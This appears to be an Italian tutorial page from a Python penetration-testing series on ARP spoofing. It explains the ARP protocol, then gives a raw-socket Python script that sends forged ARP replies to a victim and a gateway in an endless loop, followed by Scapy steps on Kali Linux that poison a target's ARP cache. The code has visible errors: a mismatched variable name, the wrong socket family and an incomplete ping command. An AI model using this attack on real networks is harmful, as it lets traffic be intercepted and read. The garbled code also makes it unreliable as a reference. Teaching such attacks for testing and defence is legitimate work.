Penetration Testing di Python - ARP Spoofing

ARP può essere definito come un protocollo senza stato utilizzato per mappare gli indirizzi IP (Internet Protocol) agli indirizzi di una macchina fisica.

Funzionamento di ARP

In questa sezione impareremo il funzionamento di ARP. Considera i seguenti passaggi per capire come funziona ARP:

  • Step 1 - Innanzitutto, quando una macchina vuole comunicare con un'altra, deve cercare l'indirizzo fisico nella sua tabella ARP.

  • Step 2 - Se trova l'indirizzo fisico della macchina, il pacchetto dopo aver convertito alla sua giusta lunghezza, verrà inviato alla macchina desiderata

  • Step 3 - Ma se non viene trovata alcuna voce per l'indirizzo IP nella tabella, ARP_request verrà trasmesso sulla rete.

  • Step 4- Ora, tutte le macchine sulla rete confronteranno l'indirizzo IP trasmesso con l'indirizzo MAC e se una qualsiasi delle macchine nella rete identifica l'indirizzo, risponderà a ARP_request insieme al suo indirizzo IP e MAC. Tale messaggio ARP è chiamato ARP_reply.

  • Step 5 - Alla fine, la macchina che invia la richiesta memorizzerà la coppia di indirizzi nella sua tabella ARP e avrà luogo l'intera comunicazione.

Cos'è lo spoofing ARP?

Può essere definito come un tipo di attacco in cui un malintenzionato invia una richiesta ARP contraffatta sulla rete locale. L'avvelenamento da ARP è noto anche come spoofing ARP. Può essere compreso con l'aiuto dei seguenti punti:

  • Il primo spoofing ARP, per sovraccaricare lo switch, costruirà un numero enorme di richieste ARP falsificate e pacchetti di risposta.

  • Quindi lo switch verrà impostato in modalità di inoltro.

  • Ora, la tabella ARP verrebbe inondata di risposte ARP contraffatte, in modo che gli aggressori possano intercettare tutti i pacchetti di rete.

Implementazione tramite Python

In questa sezione, comprenderemo l'implementazione Python dello spoofing ARP. Per questo, abbiamo bisogno di tre indirizzi MAC: il primo della vittima, il secondo dell'aggressore e il terzo del gateway. Insieme a ciò, dobbiamo anche utilizzare il codice del protocollo ARP.

Importiamo i moduli richiesti come segue:

import socket
import struct
import binascii

Ora creeremo un socket, che avrà tre parametri. Il primo parametro ci dice dell'interfaccia del pacchetto (PF_PACKET per Linux specifico e AF_INET per Windows), il secondo parametro ci dice se si tratta di un raw socket e il terzo parametro ci dice del protocollo che ci interessa (qui 0x0800 usato per IP protocollo).

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

Forniremo ora l'indirizzo MAC dell'attaccante, della vittima e della macchina gateway -

attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'

Dobbiamo fornire il codice del protocollo ARP come mostrato -

code ='\x08\x06'

Due pacchetti Ethernet, uno per la macchina vittima e un altro per la macchina gateway sono stati realizzati come segue:

ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac +  attckmac + code

Le seguenti righe di codice sono in ordine secondo l'intestazione ARP:

htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

Ora dobbiamo fornire gli indirizzi IP della macchina gateway e delle macchine vittima (supponiamo di avere i seguenti indirizzi IP per gateway e macchine vittima) -

gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'

Converti gli indirizzi IP sopra in formato esadecimale con l'aiuto di socket.inet_aton() metodo.

gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )

Eseguire la seguente riga di codice per modificare l'indirizzo IP della macchina gateway.

victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip

while 1:
   s.send(victim_ARP)
   s.send(gateway_ARP)

Implementazione utilizzando Scapy su Kali Linux

Lo spoofing ARP può essere implementato utilizzando Scapy su Kali Linux. Segui questi passaggi per eseguire lo stesso:

Passaggio 1: indirizzo della macchina attaccante

In questo passaggio, troveremo l'indirizzo IP della macchina attaccante eseguendo il comando ifconfig sul prompt dei comandi di Kali Linux.

Passaggio 2: indirizzo della macchina di destinazione

In questo passaggio, troveremo l'indirizzo IP della macchina di destinazione eseguendo il comando ifconfig sul prompt dei comandi di Kali Linux, che dobbiamo aprire su un'altra macchina virtuale.

Passaggio 3: eseguire il ping della macchina di destinazione

In questo passaggio, dobbiamo eseguire il ping della macchina di destinazione dalla macchina attaccante con l'aiuto del seguente comando:

Ping –c 192.168.43.85(say IP address of target machine)

Passaggio 4: cache ARP sulla macchina di destinazione

Sappiamo già che due macchine utilizzano pacchetti ARP per scambiare indirizzi MAC, quindi dopo il passaggio 3, possiamo eseguire il seguente comando sulla macchina di destinazione per vedere la cache ARP:

arp -n

Passaggio 5: creazione del pacchetto ARP utilizzando Scapy

Possiamo creare pacchetti ARP con l'aiuto di Scapy come segue:

scapy
arp_packt = ARP()
arp_packt.display()

Passaggio 6: invio di pacchetti ARP dannosi utilizzando Scapy

Possiamo inviare pacchetti ARP dannosi con l'aiuto di Scapy come segue:

arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)

Step 7: Again check ARP cache on target machine

Ora, se controlleremo di nuovo la cache ARP sulla macchina di destinazione, vedremo il falso indirizzo "1.1.1.1".